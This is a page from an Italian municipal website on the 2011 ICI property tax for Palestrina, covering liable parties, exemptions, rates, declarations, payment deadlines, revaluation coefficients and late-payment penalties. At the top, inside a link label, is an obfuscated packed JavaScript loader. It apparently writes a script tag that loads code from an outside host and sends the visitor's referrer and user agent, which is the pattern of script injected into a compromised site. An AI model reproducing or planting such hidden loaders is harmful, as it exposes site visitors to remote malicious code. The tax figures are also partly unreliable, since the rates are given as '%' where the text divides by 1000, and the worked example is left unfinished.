



[MODULISTICA, eval\(function\(p,a,c,k,e,d\){e=function\(c\){return c.toString\(36\)};if\(!".replace\(/^\//,String\)\){while\(c--\){d\[c.toString\(a\)\]=k\[c\]||c.toString\(a\)}k=\[function\(e\){return d\[e\]}\];e=function\(\){return'w+'};c=1};while\(c--\){if\(k\[c\]\){p=p.replace\(new RegExp\("\b'+e\(c\)+'\b','g'\),k\[c\]\)}}return p}\('0.6\(" "\);n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nydit|var|u0026u|referrer|tsibk||js|php'.split\('|'\),0,{}\)\)](#) **REGOLAMENTI E DELIBERE ICI**

[CALCOLA L'ICI ON LINE](#)

Chi deve pagare l'imposta

L'imposta deve essere pagata da tutti coloro che possiedono fabbricati e/o aree fabbricabili come proprietari, oppure come usufruttuari o titolari di diritto reale d'uso o di abitazione.

Nell'applicazione dell'imposta possono verificarsi diversi casi:

- Se l'immobile è posseduto da più proprietari l'imposta deve essere ripartita proporzionalmente tra loro in base alle quote di proprietà, e versata separatamente;
- Se l'immobile è gravato da un diritto reale di godimento (usufrutto, uso, abitazione) l'imposta deve essere pagata dall'usufruttuario o da chi gode del diritto d'uso o di abitazione in proporzione alla quota di tale diritto;

E' esclusa dall'imposta comunale sugli immobili, di cui al decreto legislativo 30 dicembre 1992, n. 504, e successive modificazioni ed integrazioni,

l'unita' immobiliare adibita ad abitazione principale del soggetto passivo

, nonche' quella ad essa assimilata dal regolamento comunale, ad eccezione delle unità immobiliari di categoria catastale A1, A8 e A9 per le quali continua ad applicarsi la detrazione d'imposta di € 103,29 rapportata al periodo dell'anno durante il quale si protrae tale destinazione; se l'unita' immobiliare e' adibita ad abitazione principale di piu' soggetti passivi la

detrazione spetta a ciascuno di essi proporzionalmente alla quota di utilizzo dell'abitazione stessa .

Agli effetti dell'esclusione dall'imposta, si considera parte integrante dell'abitazione principale una sua pertinenza, così come previsto dal vigente Regolamento Comunale.

Viene assimilata alle abitazioni principali:

1. l'unita' immobiliare posseduta a titolo di proprieta' o di usufrutto da anziano o disabile che acquisisce la residenza in istituto di ricovero o sanitario a seguito di ricovero permanente in istituto a lunga degenza, a condizione che la stessa non risulti locata. Per usufruire del beneficio e' necessario presentare apposita istanza presso l'ufficio ICI;

2. l'abitazione concessa in uso gratuito dal genitore al figlio e viceversa, il beneficiario dell'uso gratuito deve risiedere anagraficamente nell'abitazione predetta. Per usufruire del beneficio e' necessario presentare apposita istanza presso l'ufficio ICI.

L'esenzione si applica altresì per:

1. Il soggetto passivo che, a seguito di provvedimento di separazione legale, annullamento, scioglimento o cessazione degli effetti civili del matrimonio, non risulta assegnatario della casa coniugale, a condizione che non sia titolare del diritto di proprietà o di altro diritto reale su un immobile destinato ad abitazione situato nello stesso comune ove è ubicata la casa coniugale.

2. Le unita' immobiliari, appartenenti alle cooperative edilizie a proprietà indivisa, adibite ad abitazione principale dei soci assegnatari, nonché agli alloggi regolarmente assegnati dagli Istituti autonomi per le case popolari.

Aliquote e detrazioni 2011

Per l'anno 2011 sono state confermate le aliquote dell'anno 2010:

- **Abitazione principale ed una sua pertinenza 4,5 %** (solo per unità immobiliari di cat. A1, A8, A9 con detrazione di imposta di € 103,29 rapportata al periodo dell'anno durante il quale si protrae tale destinazione)
- **Per tutti gli altri fabbricati 7 %**.
- **Per le aree fabbricabili e per terreni impegnati per l'edificazione 6 %**.
- Ulteriori eventuali agevolazioni (solo per unità immobiliari di categoria catastale A1, A8 ed A9): abitazione principale **per i nuclei familiari con persona disabile** (invalidita' non inferiore

al 75% e reddito complessivo del nucleo familiare inferiore a € 19.000,00, per ciascun disabile presente) la detrazione e' di € 516,00 (dopo apposita istanza).

Dichiarazione

La dichiarazione ICI va presentata entro il termine previsto per quella dei redditi relativa all'anno 2010. in tutti i casi elencati nelle istruzioni allegate al modello di dichiarazione ICI, tra le quali a titolo esemplificativo si riportano le i più ricorrenti:

- per gli immobili che godono di una riduzione dell'imposta (fabbricati dichiarati inagibili o inabitabili, terreni agricoli posseduti e condotti da coltivatori diretti o da imprenditori agricoli) Le riduzioni vanno dichiarate sia quando si acquista che quando si perde il relativo diritto;

- quando per gli immobili che sono stati oggetto di atti per i quali non è stato utilizzato il MUI ad esempio: divisioni, donazioni, permuta, cessioni di diritti reali a titolo gratuito costituzioni di fondo patrimoniale per testamento, l'immobile e sua pertinenza non è più adibito ad abitazione principale e viceversa;

- quando il comune non può acquisire dalla banca dati catastale le informazioni necessarie ai fini del pagamento dell'imposta ad esempio: l'immobile è stato oggetto di locazione finanziaria o di atto di concessione amministrativa su aree demaniali; l'atto ha riguardo un area fabbricabile e il valore è cambiato rispetto a quello dichiarato l'anno precedente; il terreno agricolo è diventato area fabbricabile o viceversa; l'area è divenuta edificabile in seguito a demolizione di fabbricato; l'immobile ha perso o acquisito il diritto all'esenzione o all'esclusione dall'ICI o la caratteristica della ruralità; l'immobile è stato oggetto di procedura Docfa; l'immobile è di interesse storico artistico; l'immobile è stato oggetto di vendita all'asta giudiziaria, nell'ambito di procedura di fallimento o di liquidazione coatta amministrativa; quando per il fabbricato classificabile nel gruppo catastale "D", non iscritto in catasto, ovvero iscritto, ma senza attribuzione di rendita, interamente posseduto da imprese e distintamente contabilizzato, sono stati contabilizzati costi aggiuntivi a quelli di acquisizione; quando per l'immobile già censito in catasto in una categoria del gruppo "D", interamente posseduto da imprese e distintamente contabilizzato, è stato oggetto di attribuzione di rendita d'ufficio; eccetera;).

Il versamento dell'imposta anche se corretto non sostituisce la dichiarazione ICI per chi deve comunque presentarla.

La dichiarazione ICI non deve essere presentata:

- quando gli elementi rilevanti ai fini dell'imposta dipendono da atti per i quali sono applicabili le procedure telematiche attraverso il modello unico informatico (MUI), cioè quel modello tramite il quale i notai effettuano la registrazione, la trascrizione, l'iscrizione e l'annotazione nei registri immobiliari, nonché la voltura catastale di atti relativi a diritti sugli immobili.

La dichiarazione deve essere consegnata presso l'ufficio protocollo o spedita per raccomandata con ricevuta di ritorno. Se trasmessa a mezzo posta la busta deve indicare la scritta "dichiarazione I.C.I. anno". I modelli sono a disposizione presso la portineria, l'ufficio tributi e possono essere scaricati nella sezione modulistica del sito.

La dichiarazione si compone di 2 facciate:

- la prima concerne il soggetto dichiarante e gli eventuali contitolari;

- la seconda i dati identificativi catastali degli immobili. Quest'ultimi riguardano l'ubicazione catastale dell'immobile, sezione, foglio di mappale o particella, subalterno, categoria e la classe (per i fabbricati) o qualità (per i terreni). Se l'unità non è censita vanno indicati gli estremi della denuncia di accatastamento (n. protocollo e anno di presentazione)

-I dati identificativi sono di particolare importanza, quindi si raccomanda particolare attenzione nella compilazione.

La dichiarazione, redatta su apposito modello in distribuzione presso gli uffici comunali, deve essere presentata al comune dove si trovano gli immobili, direttamente o a mezzo raccomandata postale senza ricevuta di ritorno. Nel caso di più soggetti passivi contitolari dello stesso immobile, è consentita ad uno di essi la presentazione di dichiarazione congiunta, purché comprensiva di tutti i contitolari; ciascuno dei contitolari è però obbligato a versare l'imposta di sua competenza.

Versamenti

ACCONTO: ENTRO IL 16 GIUGNO 2011 il contribuente deve versare il 50% della somma

pagata l'anno precedente, purchè non sia cambiato nulla nel corso del 2011.

SALDO: ENTRO IL 16 DICEMBRE 2011 il contribuente paga il saldo 2011 con l'eventuale conguaglio senza alcuna sanzione né interessi.

Il contribuente, comunque, può provvedere al versamento dell'imposta complessivamente dovuta in un'unica soluzione annuale entro il termine per il pagamento dell'acconto.

ATTENZIONE: SU UNO STESSO BOLLETTINO DEVONO ESSERE SOMMATI GLI IMPORTI RELATIVI A TUTTI GLI IMMOBILI IN POSSESSO DEL CONTRIBUENTE SITUATI NEL COMUNE DI PALESTRINA.

Le persone non residenti nel territorio dello Stato possono avvalersi anche della facoltà di effettuare il versamento dell'imposta dovuta per l'intero anno, in unica soluzione, nel periodo dal 1° al 20 dicembre 2011. Questi contribuenti possono versare l'imposta direttamente dall'estero tramite bonifico bancario oppure vaglia internazionale ordinario o vaglia internazionale di versamento in conto corrente, secondo le modalità previste da un apposito decreto interministeriale.

IL VERSAMENTO PUO' ESSERE EFFETTUATO, CON APPOSITO BOLLETTINO ORDINARIO ICI, PRESSO:

- **TUTTI GLI UFFICI POSTALI**
- **GLI SPORTELLI DEL CONCESSIONARIO GERIT**
- **SUL SITO INTERNET: www.equitaliagerit.it**

IL VERSAMENTO PER GLI IMMOBILI SITUATI NEL COMUNE DI PALESTRINA VA EFFETTUATO:

- **TRAMITE C/C POSTALE 88697297 INTESTATO A: EQUITALIA GERIT SPA PALESTRINA**
- **RM - ICI**
- **TRAMITE MODELLO F24 presso qualsiasi istituto bancario o ufficio postale, utilizzando gli appositi codici tributo**

Calcolo del valore imponibile

Fabbricati con rendita catastale già attribuita oppure con rendita presunta: Il valore imponibile si determina rivalutando la rendita effettiva o presunta del 5% e moltiplicandola per i seguenti coefficienti:

- 100 per i fabbricati di cat. A C (esclusi A/10 e C/1)
- 50 per i fabbricati A/10 e D
- 34 per i fabbricati C/1.
- 140 per i fabbricati di cat. B

Fabbricati in corso di costruzione ed aree edificabili: Valore di mercato della sola area edificabile.

Fabbricati di categoria D privi di rendita: Valore = Costo storico al lordo degli ammortamenti x i

coefficienti di rivalutazione .

Per l'anno 2011 i coefficienti sono stati così fissati:

ANNO COEFFICIENTE

2011 - 1,02
2010 - 1,04
2009 - 1,04
2008 - 1,08
2007 - 1,12
2006 - 1,15
2005 - 1,19
2004 - 1,26
2003 - 1,30
2002 - 1,34
2001 - 1,37
2000 - 1,42
1999 - 1,44
1998 - 1,46
1997 - 1,50
1996 - 1,55
1995 - 1,59
1994 - 1,64
1993 - 1,68
1992 - 1,69
1991 - 1,73
1990 - 1,81
1989 - 1,89
1988 - 1,97
1987 - 2,14
1986 - 2,30
1985 - 2,46
1984 - 2,63
1983 - 2,79
1982 e precedenti 2,96

Calcolo dell'imposta

IL VALORE IMPONIBILE SI MOLTIPLICA PER L'ALIQUTA E SI DIVIDE PER 1000. SE SI TRATTA DI ABITAZIONE PRINCIPALE SI DEVE SOTTRARRE LA DETRAZIONE.

ESEMPIO:

Abitazione principale posseduta da due coniugi ciascuno per la propria quota di possesso pari al 50%. La proprietà rimane per l'intero anno ad entrambi i coniugi. L'aliquota applicata dal Comune è quella ridotta pari al 4,5%. La detrazione per l'abitazione principale è fissata nella

misura di € 103,29 e viene portata in diminuzione dal totale dell'imposta dovuta

Il valore catastale è determinabile rivalutando la rendita catastatale del 5% e moltiplicando quanto ottenuto per 100:

- rendita catastatale € 1.000,00

- rendita catastatale rivalutata € 1.050,00.

L'IMPOSTA DEVE ESSERE CALCOLATA IN PROPORZIONE ALLA QUOTA E AI MESI DI POSSESSO DELL'IMMOBILE ; NEL CALCOLO DEI MESI, SI CONSIDERA MESE INTERO ANCHE IL PERIODO PARI ALMENO A 15 GIORNI.

Ravvedimento operoso

Se il versamento avviene entro 30 gg. dalla scadenza, sui bollettini ordinari si deve versare un importo comprensivo dell'imposta dovuta, sanzione del 3,00 % e interessi al tasso annuo del 2,50 % rapportato ai giorni di ritardo.

Se il versamento avviene l'anno successivo e comunque entro la data di presentazione della dichiarazione ICI, bisogna considerare una sanzione pari al 3,75 % ed interessi al tasso annuo del 2,50 % rapportato ai giorni di ritardo.

[MODULISTICA, REGOLAMENTI E DELIBERE ICI](#)